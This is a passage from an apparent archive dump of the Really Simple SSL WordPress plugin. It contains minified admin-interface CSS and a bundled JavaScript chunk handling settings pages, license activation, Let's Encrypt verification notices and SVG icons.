.MuiPaper-root div,.rsssl .MuiPopper-root div,.rsssl-modal-body .MuiPaper-root div,.rsssl-modal-body .MuiPopper-root div{font-family:inherit!important}.rsssl .MuiPaper-root ul,.rsssl .MuiPopper-root ul,.rsssl-modal-body .MuiPaper-root ul,.rsssl-modal-body .MuiPopper-root ul{max-height:none}
.rsssl-datatable-component .rsssl-action-buttons__inner .rsssl-action-buttons__button.rsssl-red{background:var(--rsp-red);border:0 solid transparent;color:var(--rsp-text-color-white)}.rsssl-datatable-component .rsssl-action-buttons__inner .rsssl-action-buttons__button.rsssl-red:hover{background:var(--rsp-dark-red);color:var(--rsp-text-color-white)}.rsssl-datatable-component .rsssl-action-buttons__button,.rsssl-datatable-component .rsssl-add-button__button{display:flex}.rsssl-datatable-component .rsssl-action-buttons__button .rsssl-icon,.rsssl-datatable-component .rsssl-add-button__button .rsssl-icon{margin-right:10px}
.rsssl-search-bar{float:right;padding:0}.rsssl-search-bar__inner{align-items:center;border-radius:3px;display:flex;transition:background-color .3s ease}.rsssl-search-bar__inner:focus-within{background-color:#fff;box-shadow:0 2px 4px rgba(0,0,0,.1)}.rsssl-search-bar__input{border:none;outline:none;padding:3px 5px;transition:width .3s ease;width:150px}.rsssl-search-bar__input:focus{width:200px}
.rsssl-selected-rows-control{margin-bottom:1em;margin-top:1em}.rsssl-selected-rows-control .rsssl-multiselect-datatable-form{align-items:center;display:flex;Justify-content:space-between;background:var(--rsp-blue-faded);padding:1em 2em;width:100%}
.rsssl-datatable-component{margin-left:calc(0px - var(--rsp-spacing-l));margin-right:calc(0px - var(--rsp-spacing-l))}.rsssl-datatable-component>div{overflow:hidden}.rsssl-datatable-component .rdt_TableCell,.rsssl-datatable-component .rdt_TableCol,.rsssl-datatable-component .rdt_TableCol_Sortable{flex-direction:row}.rsssl-datatable-component .rdt_TableCell:first-child,.rsssl-datatable-component .rdt_TableCol:first-child{min-width:auto}.rsssl-datatable-component .rdt_TableHeadRow .rdt_TableCol:last-child{flex-direction:row-reverse;flex-grow:0;min-width:auto}.rsssl-datatable-component .rdt_TableRow{padding:var(--rsp-spacing-xs) 0}.rsssl-datatable-component .rdt_TableRow:nth-child(odd){background-color:var(--rsp-grey-200)}.rsssl-datatable-component .rdt_TableRow .rdt_TableCell:last-child{flex-grow:0}.rsssl-datatable-component nav.rdt_Pagination>div>svg{display:none!important}.rsssl-datatable-component .rsssl-container{align-items:center;display:flex;justify-content:space-between;padding:2em}
.rsssl-indeterminate input[name=select-all-rows]{background:url("data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 100 100\"><rect x=\"10\" y=\"45\" width=\"80\" height=\"10\" fill=\"currentColor\"/></svg>") no-repeat 50%}.rsssl-all-selected input[name=select-all-rows]:before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%233582c4%27%2F%3E%3C%2Fsvg%3E");height:1.3125rem;margin:-.1875rem 0 0 -.25rem;width:1.3125rem}
really-simple-ssl/settings/build/778.60eedd33628297ab6b97.js000064400000122272147510273070016611 0ustar00"use strict";(self.webpackChunkreally_simple_ssl=self.webpackChunkreally_simple_ssl||[]).push([[778],{435:(e,t,s)=>{s.d(t,{A:()=>o});var l=s(1621),r=s(6535),a=s(4110),c=s(7723),i=s(9166),n=s(7143);const o=(0,l.vt)(((e,t)=>({actionIndex:-1,progress:0,attemptCount:0,refreshTests:!1,actionsList:[],updateVerificationType:async e=>{await a.bl("update_verification_type",e).then((t=>{let s="dir"===e?(0,c.__)("Switched to Directory","really-simple-ssl"):(0,c.__)("Switched to DNS","really-simple-ssl");(0,n.dispatch)("core/notices").createNotice("success",s,{__unstableHTML:!0,id:"rsssl_switched_to_dns",type:"snackbar",isDismissible:!0}).then((0,i.A)(3e3)).then((e=>{(0,n.dispatch)("core/notices").removeNotice("rsssl_switched_to_dns")}))}))},setAttemptCount:t=>{e((e=>({attemptCount:t})))},setProgress:t=>{e((e=>({progress:t})))},setActionsList:t=>{e((e=>({actionsList:t})))},setActionsListItem:(t,s)=>{e((0,r.Ay)((e=>{e.actionsList[t]=s})))},setActionsListProperty:(t,s,l)=>{e((0,r.Ay)((e=>{void 0!==e.actionsList[t]&&(e.actionsList[t][s],0)&&(e.actionsList[t][s]=l)})))},setRefreshTests:t=>{e((e=>({refreshTests:t})))},setActionIndex:t=>{e((e=>({actionIndex:t})))},switchButtonDisabled:!1,setSwitchButtonDisabled:t=>{e((e=>({switchButtonDisabled:t})))}})))},9695:(e,t,s)=>{s.d(t,{A:()=>a});var l=s(1609),r=s(3972);const a=e=>{let t=e.lines;return t||(t=4),e.error&&(t=0),(0,l.createElement)("div",{className:"rsssl-placeholder"},e.error&&(0,l.createElement)(r.A,{error:e.error}),Array.from({length:t}).map(((e,t)=>(0,l.createElement)("div",{className:"rsssl-placeholder-line",key:"placeholder-"+t}))))}},2480:(e,t,s)=>{s.d(t,{A:()=>l});const l=(0,s(1621).vt)(((e,t)=>({selectedFilter:[],processingFilter:!1,setSelectedFilter:(t,s)=>{e((e=>({selectedFilter:{...e.selectedFilter,[s]:t}})))},getCurrentFilter:e=>t().selectedFilter[e],setProcessingFilter:t=>e({processingFilter:t})})))},5683:(e,t,s)=>{s.d(t,{A:()=>c});var l=s(1621),r=(s(6975),s(4110)),a=s(7723);const c=(0,l.vt)(((e,t)=>({licenseStatus:rsssl_settings.licenseStatus,setLicenseStatus:t=>e((e=>({licenseStatus:t}))),notices:[],setNotices:t=>e((e=>({notices:t}))),setLoadingState:()=>{const t={output:{dismissible:!1,icon:"skeleton",label:(0,a.__)("Loading","burst-statistics"),msg:!1,plusone:!1,url:!1}};e({notices:[t,t,t]})},toggleActivation:async s=>{if(t().setLoadingState(),"valid"===t().licenseStatus)await r.YA("deactivate_license").then((t=>{e({notices:t.notices,licenseStatus:t.licenseStatus})}));else{let t={};t.license=s,await r.Eo("activate_license",t).then((t=>{e({notices:t.notices,licenseStatus:t.licenseStatus})}))}}})))},9778:(e,t,s)=>{s.r(t),s.d(t,{ScrollProgress:()=>b,default:()=>x});var l=s(1609),r=s(6087);s(9695);const a=()=>(0,l.createElement)("div",{className:"rsssl-wizard-settings rsssl-column-2 rsssl-settings-placeholder"},(0,l.createElement)("div",{className:"rsssl-grid-item"},(0,l.createElement)("div",{className:"rsssl-grid-item-content"},(0,l.createElement)("div",{className:"rsssl-settings-block-intro"}))),(0,l.createElement)("div",{className:"rsssl-grid-item-footer"})),c=(e,t)=>{let s=t.length;for(let l=0;l<s;l++)if(t[l]==e)return!0;return!1};var i=s(4124),n=s(5511),o=s(7723),m=s(4110),d=s(6975),h=s(2043),g=s(5683),u=s(2480),p=s(5170);const w=({msg:e,title:t,upgrade:s})=>{const{licenseStatus:r}=(0,g.A)();let a="1"===rsssl_settings.pro_plugin_active,c=a?"_self":"_blank",n=a?(0,o.__)("Check license","really-simple-ssl"):(0,o.__)("Go Pro","really-simple-ssl"),m=s||rsssl_settings.upgrade_link;a&&(m="#settings/license");let d=e||(0,l.createElement)(i.A,{text:(0,o.__)("Learn more about %sPremium%s","really-simple-ssl"),url:m});return a&&(d="empty"===r||"deactivated"===r?rsssl_settings.messageInactive:rsssl_settings.messageInvalid),(0,l.createElement)("div",{className:"rsssl-locked rsssl-locked-premium"},(0,l.createElement)("div",{className:"rsssl-locked-overlay rsssl-premium"},(0,l.createElement)("div",{className:"rsssl-locked-header"},(0,l.createElement)("h5",{className:"rsssl-locked-header-title"},t)),(0,l.createElement)("div",{className:"rsssl-locked-content"},(0,l.createElement)("span",null,d," ")),(0,l.createElement)("div",{className:"rsssl-locked-footer"},(0,l.createElement)("div",{className:"rsssl-grid-item-footer-buttons"},(0,l.createElement)("a",{className:"button button-primary left",href:m,target:c},n)))))},f=e=>{const{fields:t}=(0,d.A)(),{selectedFilter:a,setSelectedFilter:c}=(0,u.A)(),{licenseStatus:f}=(0,g.A)(),{selectedSubMenuItem:v,subMenu:C}=(0,h.A)(),[E,M]=(0,r.useState)(null),[z,x]=(0,r.useState)(null);(0,r.useEffect)((()=>{Promise.all([s.e(573),s.e(129),s.e(928)]).then(s.bind(s,7928)).then((({default:e})=>{M((()=>e))})),b&&b.intro&&"object"==typeof b.intro&&x(b.intro[a[S]])}),[a]);let b,_=[];for(const s of t)s.group_id===e.group&&_.push(s);for(const t of C.menu_items){if(t.id===v&&t.hasOwnProperty("groups"))for(const s of t.groups)if(s.group_id===e.group){b=s;break}if(b)break}if(!b)for(const e of C.menu_items){if(e.id===v){b=e;break}if(e.menu_items){const t=e.menu_items.find((e=>e.id===v));if(t){b=t;break}}}if(b&&b.groups){const t=b.groups.find((t=>t.group_id===e.group));t?b=t:b.groups.find((t=>t.group_id===e.group))}let y="valid"!==f&&b.premium,L=!rsssl_settings.networkwide_active&&b.networkwide_required,H=b.helpLink_text?b.helpLink_text:(0,o.__)("Instructions","really-simple-ssl"),N=(0,n.A)("main"),V=y||L?"rsssl-disabled":"";const S="rsssl-group-filter-"+b.id;return _=_.filter((e=>!e.hasOwnProperty("visible")||e.visible)),0===_.length?null:(0,l.createElement)("div",{className:"rsssl-grid-item rsssl-"+b.id+" "+V},b.title&&(0,l.createElement)("div",{className:"rsssl-grid-item-header"},(0,l.createElement)("h3",{className:"rsssl-h4"},b.title),b.groupFilter&&(0,l.createElement)("div",{className:"rsssl-grid-item-controls"},(0,l.createElement)("select",{className:"rsssl-group-filter",id:S,name:S,value:a[S],onChange:e=>{const t=e.target.value;c(t,S)}},b.groupFilter.options.map((e=>(0,l.createElement)("option",{key:"option-"+e.id,value:e.id},e.title))))),!b.groupFilter&&b.helpLink&&"letsencrypt"!==N&&(0,l.createElement)("div",{className:"rsssl-grid-item-controls"},(0,l.createElement)(i.A,{target:"_blank",rel:"noopener noreferrer",className:"rsssl-helplink",text:H,url:b.helpLink})),"letsencrypt"===N&&(0,l.createElement)("div",{className:"rsssl-grid-item-controls"},(0,l.createElement)("a",{href:"#",className:"rsssl-helplink",onClick:e=>(e=>{e.preventDefault(),m.bl("reset").then((e=>{window.location.href=window.location.href.replace(/#letsencrypt.*/,"&r="+ +new Date+"#letsencrypt/le-system-status")}))})(e)},(0,o.__)("Reset Let's Encrypt","really-simple-ssl")))),(0,l.createElement)("div",{className:"rsssl-grid-item-content"},b.intro&&"string"==typeof b.intro&&(0,l.createElement)(p.A,{fallback:"Could not load group intro"},b.intro&&"string"==typeof b.intro&&(0,l.createElement)("div",{className:"rsssl-settings-block-intro"},b.intro),b.intro&&"object"==typeof b.intro&&(0,l.createElement)("div",{className:"rsssl-settings-block-intro"},z)),E&&_.map(((e,t)=>(0,l.createElement)(E,{key:"selectedFields-"+t,index:t,field:e,fields:_})))),y&&!L&&(0,l.createElement)(w,{msg:b.premium_text,title:b.premium_title?b.premium_title:b.title,upgrade:b.upgrade,url:b.upgrade}),L&&(0,l.createElement)("div",{className:"rsssl-locked"},(0,l.createElement)("div",{className:"rsssl-locked-overlay"},(0,l.createElement)("span",{className:"rsssl-task-status rsssl-warning"},(0,o.__)("Network feature","really-simple-ssl")),(0,l.createElement)("span",null,(0,o.__)("This feature is only available networkwide.","really-simple-ssl"),(0,l.createElement)(i.A,{target:"_blank",rel:"noopener noreferrer",text:(0,o.__)("Network settings","really-simple-ssl"),url:rsssl_settings.network_link})))))};var v=s(4937),C=s(2838),E=s.n(C);const M=e=>{let t={...e.help};t.title||(t.title=t.text,t.text=!1);let s=e.noticesExpanded?"open":"",r=t.url&&-1!==t.url.indexOf("really-simple-ssl.com")?"_blank":"_self";return(0,l.createElement)("div",null,t.title&&t.text&&(0,l.createElement)("details",{className:"rsssl-wizard-help-notice rsssl-"+t.label.toLowerCase(),open:s},(0,l.createElement)("summary",null,t.title," ",(0,l.createElement)(v.default,{name:"chevron-down"})),(0,l.createElement)("div",{dangerouslySetInnerHTML:{__html:E().sanitize(t.text)}}),t.url&&(0,l.createElement)("div",{className:"rsssl-help-more-info"},(0,l.createElement)("a",{target:r,href:t.url},(0,o.__)("More info","really-simple-ssl")))),t.title&&!t.text&&(0,l.createElement)("div",{className:"rsssl-wizard-help-notice rsssl-"+t.label.toLowerCase()},(0,l.createElement)("p",null,t.title)))};var z=s(435);const x=()=>{const[e,t]=(0,r.useState)(!0),{progress:s,fieldsLoaded:i,saveFields:n,fields:m,nextButtonDisabled:g}=(0,d.A)(),{subMenuLoaded:u,subMenu:w,selectedSubMenuItem:v,selectedMainMenuItem:C,nextMenuItem:E,previousMenuItem:x}=(0,h.A)(),{setRefreshTests:_}=(0,z.A)(),y=async e=>{!e&&(()=>{const{menu_items:e}=w;for(const t of e)if(t.id===v&&t.tests_only)return!0;return!1})()?_(!0):e?await n(!0,!1):await n(!0,!0)},{menu_items:L}=w;if(!u||!i||0===L.length)return(0,l.createElement)(a,null);let H=m.filter((e=>e.menu_id===v)),N=[];for(const e of H)c(e.group_id,N)||N.push(e.group_id);let V=[];for(const e of s.notices){let t=!1;if(e.show_with_options&&(t=H.filter((t=>e.show_with_options.includes(t.id))).length>0),t||e.menu_id===v){let t={};t.title=!!e.output.title&&e.output.title,t.label=e.output.label,t.id=e.id,t.text=e.output.msg,t.url=e.output.url,t.linked_field=e.show_with_option,V.push(t)}}for(const e of H.filter((e=>e.help&&!e.conditionallyDisabled))){let t=e.help;0===V.filter((e=>e.id&&e.id===t.id)).length&&V.push(e.help)}let S=g?`#${C}/${v}`:`#${C}/${E}`,k=(0,o.__)("Save","really-simple-ssl");for(const e of L)e.id===v&&e.tests_only&&(k=(0,o.__)("Refresh","really-simple-ssl"));return(0,l.createElement)(l.Fragment,null,(0,l.createElement)("div",{className:"rsssl-wizard-settings"},N.map(((e,t)=>(0,l.createElement)(f,{key:"settingsGroup-"+t,index:t,group:e,fields:H}))),(0,l.createElement)("div",{className:"rsssl-grid-item-footer-container"},(0,l.createElement)(b,null),(0,l.createElement)("div",{className:"rsssl-grid-item-footer"},(0,l.createElement)("div",{className:"rsssl-grid-item-footer-buttons"},v!==L[0].id&&(0,l.createElement)("a",{className:"rsssl-previous",href:`#${C}/${x}`},(0,o.__)("Previous","really-simple-ssl")),(0,l.createElement)("button",{className:"button button-secondary",onClick:e=>y(!1)},k),v!==L[L.length-1].id&&(0,l.createElement)(l.Fragment,null,(0,l.createElement)("button",{disabled:g,className:"button button-primary",onClick:e=>{y(!0),window.location.href=S}},(0,o.__)("Save and continue","really-simple-ssl"))))))),(0,l.createElement)("div",{className:"rsssl-wizard-help"},(0,l.createElement)("div",{className:"rsssl-help-header"},(0,l.createElement)("div",{className:"rsssl-help-title rsssl-h4"},(0,o.__)("Notifications","really-simple-ssl")),(0,l.createElement)("div",{className:"rsssl-help-control",onClick:()=>{t(!e)}},!e&&(0,o.__)("Expand all","really-simple-ssl"),e&&(0,o.__)("Collapse all","really-simple-ssl"))),V.map(((t,s)=>(0,l.createElement)(p.A,{key:"errorboundary-"+s,fallback:"Could not load notices"},(0,l.createElement)(M,{noticesExpanded:e,index:s,help:t,fieldId:t.id}))))))},b=()=>{const[e,t]=(0,r.useState)(0);return(0,r.useEffect)((()=>{window.addEventListener("scroll",(()=>{let e=document.documentElement.scrollHeight-document.documentElement.clientHeight,s=Math.round(window.scrollY/e*100);s=Math.max(5,s),t(s)}))}),[]),document.documentElement.scrollHeight<=document.documentElement.clientHeight?null:(0,l.createElement)("span",{className:"rsssl-grid-item-footer-scroll-progress-container"},(0,l.createElement)("span",{className:"rsssl-grid-item-footer-scroll-progress",style:{width:e+"%"}},e,"%"))}},4937:(e,t,s)=>{s.r(t),s.d(t,{default:()=>c});var l=s(1609),r=s(9519);const a=React.forwardRef((function(e,t){const{name:s,color:r,size:a}=e,c=s||"bullet",i=r||"black",n=a||15,o={black:"var(--rsp-black)",green:"var(--rsp-green)",yellow:"var(--rsp-yellow)",orange:"var(--rsp-yellow)","red-faded":"var(--rsp-red-faded)",red:"var(--rsp-red)",grey:"var(--rsp-grey-400)","red-warning":"var(--rsp-red-faded)"};let m="";return"bullet"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256z"}))),"circle"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256zM256 48C141.1 48 48 141.1 48 256C48 370.9 141.1 464 256 464C370.9 464 464 370.9 464 256C464 141.1 370.9 48 256 48z"}))),"check"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256zM256 48C141.1 48 48 141.1 48 256C48 370.9 141.1 464 256 464C370.9 464 464 370.9 464 256C464 141.1 370.9 48 256 48z"}))),"warning"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M506.3 417l-213.3-364c-16.33-28-57.54-28-73.98 0l-213.2 364C-10.59 444.9 9.849 480 42.74 480h426.6C502.1 480 522.6 445 506.3 417zM232 168c0-13.25 10.75-24 24-24S280 154.8 280 168v128c0 13.25-10.75 24-23.1 24S232 309.3 232 296V168zM256 416c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 401.9 273.4 416 256 416z"}))),"error"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM232 152C232 138.8 242.8 128 256 128s24 10.75 24 24v128c0 13.25-10.75 24-24 24S232 293.3 232 280V152zM256 400c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 385.9 273.4 400 256 400z"}))),"times"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M310.6 361.4c12.5 12.5 12.5 32.75 0 45.25C304.4 412.9 296.2 416 288 416s-16.38-3.125-22.62-9.375L160 301.3L54.63 406.6C48.38 412.9 40.19 416 32 416S15.63 412.9 9.375 406.6c-12.5-12.5-12.5-32.75 0-45.25l105.4-105.4L9.375 150.6c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L160 210.8l105.4-105.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-105.4 105.4L310.6 361.4z"}))),"circle-check"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256zM371.8 211.8C382.7 200.9 382.7 183.1 371.8 172.2C360.9 161.3 343.1 161.3 332.2 172.2L224 280.4L179.8 236.2C168.9 225.3 151.1 225.3 140.2 236.2C129.3 247.1 129.3 264.9 140.2 275.8L204.2 339.8C215.1 350.7 232.9 350.7 243.8 339.8L371.8 211.8z"}))),"circle-times"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256zM175 208.1L222.1 255.1L175 303C165.7 312.4 165.7 327.6 175 336.1C184.4 346.3 199.6 346.3 208.1 336.1L255.1 289.9L303 336.1C312.4 346.3 327.6 346.3 336.1 336.1C346.3 327.6 346.3 312.4 336.1 303L289.9 255.1L336.1 208.1C346.3 199.6 346.3 184.4 336.1 175C327.6 165.7 312.4 165.7 303 175L255.1 222.1L208.1 175C199.6 165.7 184.4 165.7 175 175C165.7 184.4 165.7 199.6 175 208.1V208.1z"}))),"chevron-up"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M416 352c-8.188 0-16.38-3.125-22.62-9.375L224 173.3l-169.4 169.4c-12.5 12.5-32.75 12.5-45.25 0s-12.5-32.75 0-45.25l192-192c12.5-12.5 32.75-12.5 45.25 0l192 192c12.5 12.5 12.5 32.75 0 45.25C432.4 348.9 424.2 352 416 352z"}))),"chevron-down"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M224 416c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L224 338.8l169.4-169.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-192 192C240.4 412.9 232.2 416 224 416z"}))),"chevron-right"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M96 480c-8.188 0-16.38-3.125-22.62-9.375c-12.5-12.5-12.5-32.75 0-45.25L242.8 256L73.38 86.63c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0l192 192c12.5 12.5 12.5 32.75 0 45.25l-192 192C112.4 476.9 104.2 480 96 480z"}))),"chevron-left"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M224 480c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25l192-192c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25L77.25 256l169.4 169.4c12.5 12.5 12.5 32.75 0 45.25C240.4 476.9 232.2 480 224 480z"}))),"plus"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M432 256c0 17.69-14.33 32.01-32 32.01H256v144c0 17.69-14.33 31.99-32 31.99s-32-14.3-32-31.99v-144H48c-17.67 0-32-14.32-32-32.01s14.33-31.99 32-31.99H192v-144c0-17.69 14.33-32.01 32-32.01s32 14.32 32 32.01v144h144C417.7 224 432 238.3 432 256z"}))),"minus"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M400 288h-352c-17.69 0-32-14.32-32-32.01s14.31-31.99 32-31.99h352c17.69 0 32 14.3 32 31.99S417.7 288 400 288z"}))),"sync"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M483.515 28.485L431.35 80.65C386.475 35.767 324.485 8 256 8 123.228 8 14.824 112.338 8.31 243.493 7.971 250.311 13.475 256 20.301 256h28.045c6.353 0 11.613-4.952 11.973-11.294C66.161 141.649 151.453 60 256 60c54.163 0 103.157 21.923 138.614 57.386l-54.128 54.129c-7.56 7.56-2.206 20.485 8.485 20.485H492c6.627 0 12-5.373 12-12V36.971c0-10.691-12.926-16.045-20.485-8.486zM491.699 256h-28.045c-6.353 0-11.613 4.952-11.973 11.294C445.839 370.351 360.547 452 256 452c-54.163 0-103.157-21.923-138.614-57.386l54.128-54.129c7.56-7.56 2.206-20.485-8.485-20.485H20c-6.627 0-12 5.373-12 12v143.029c0 10.691 12.926 16.045 20.485 8.485L80.65 431.35C125.525 476.233 187.516 504 256 504c132.773 0 241.176-104.338 247.69-235.493.339-6.818-5.165-12.507-11.991-12.507z"}))),"sync-error"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M256 79.1C178.5 79.1 112.7 130.1 89.2 199.7C84.96 212.2 71.34 218.1 58.79 214.7C46.23 210.5 39.48 196.9 43.72 184.3C73.6 95.8 157.3 32 256 32C337.5 32 408.8 75.53 448 140.6V104C448 90.75 458.7 80 472 80C485.3 80 496 90.75 496 104V200C496 213.3 485.3 224 472 224H376C362.7 224 352 213.3 352 200C352 186.7 362.7 176 376 176H412.8C383.7 118.1 324.4 80 256 80V79.1zM280 263.1C280 277.3 269.3 287.1 256 287.1C242.7 287.1 232 277.3 232 263.1V151.1C232 138.7 242.7 127.1 256 127.1C269.3 127.1 280 138.7 280 151.1V263.1zM224 352C224 334.3 238.3 319.1 256 319.1C273.7 319.1 288 334.3 288 352C288 369.7 273.7 384 256 384C238.3 384 224 369.7 224 352zM40 432C26.75 432 16 421.3 16 408V311.1C16 298.7 26.75 287.1 40 287.1H136C149.3 287.1 160 298.7 160 311.1C160 325.3 149.3 336 136 336H99.19C128.3 393 187.6 432 256 432C333.5 432 399.3 381.9 422.8 312.3C427 299.8 440.7 293 453.2 297.3C465.8 301.5 472.5 315.1 468.3 327.7C438.4 416.2 354.7 480 256 480C174.5 480 103.2 436.5 64 371.4V408C64 421.3 53.25 432 40 432V432z"}))),"shortcode"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M128 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h96C145.7 480 160 465.7 160 448S145.7 416 128 416H64V96h64C145.7 96 160 81.67 160 64S145.7 32 128 32zM416 32h-96C302.3 32 288 46.33 288 63.1S302.3 96 319.1 96H384v320h-64C302.3 416 288 430.3 288 447.1S302.3 480 319.1 480H416c17.6 0 32-14.4 32-32V64C448 46.4 433.6 32 416 32z"}))),"file"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 384 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M0 64C0 28.65 28.65 0 64 0H229.5C246.5 0 262.7 6.743 274.7 18.75L365.3 109.3C377.3 121.3 384 137.5 384 154.5V448C384 483.3 355.3 512 320 512H64C28.65 512 0 483.3 0 448V64zM336 448V160H256C238.3 160 224 145.7 224 128V48H64C55.16 48 48 55.16 48 64V448C48 456.8 55.16 464 64 464H320C328.8 464 336 456.8 336 448z"}))),"file-disabled"===c&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 640 512",height:n},(0,l.createElement)("path",{fill:o[i],d:"M639.1 487.1c0-7.119-3.153-14.16-9.191-18.89l-118.8-93.12l.0013-237.3c0-16.97-6.742-33.26-18.74-45.26l-74.63-74.64C406.6 6.742 390.3 0 373.4 0H192C156.7 0 128 28.65 128 64L128 75.01L38.82 5.11C34.41 1.672 29.19 0 24.04 0C10.19 0-.0002 11.3-.0002 23.1c0 7.12 3.153 14.16 9.192 18.89l591.1 463.1C605.6 510.3 610.8 512 615.1 512C629.8 512 639.1 500.6 639.1 487.1zM464 338.4l-287.1-225.7l-.002-48.51c0-8.836 7.164-16 15.1-16h160l-.0065 79.87c0 17.67 14.33 31.1 31.1 31.1L464 159.1V338.4zM448 463.1H192c-8.834 0-15.1-7.164-15.1-16L176 234.6L128 197L128 447.1c0 35.34 28.65 64 63.1 64H448c20.4 0 38.45-9.851 50.19-24.84l-37.72-29.56C457.5 461.4 453.2 463.1 448 463.1z"}))),"loading"===c&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:n},(0,l.createElement)("path",{fill:o[r],d:"M304 48c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zm0 416c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zM48 304c26.5 0 48-21.5 48-48s-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48zm464-48c0-26.5-21.5-48-48-48s-48 21.5-48 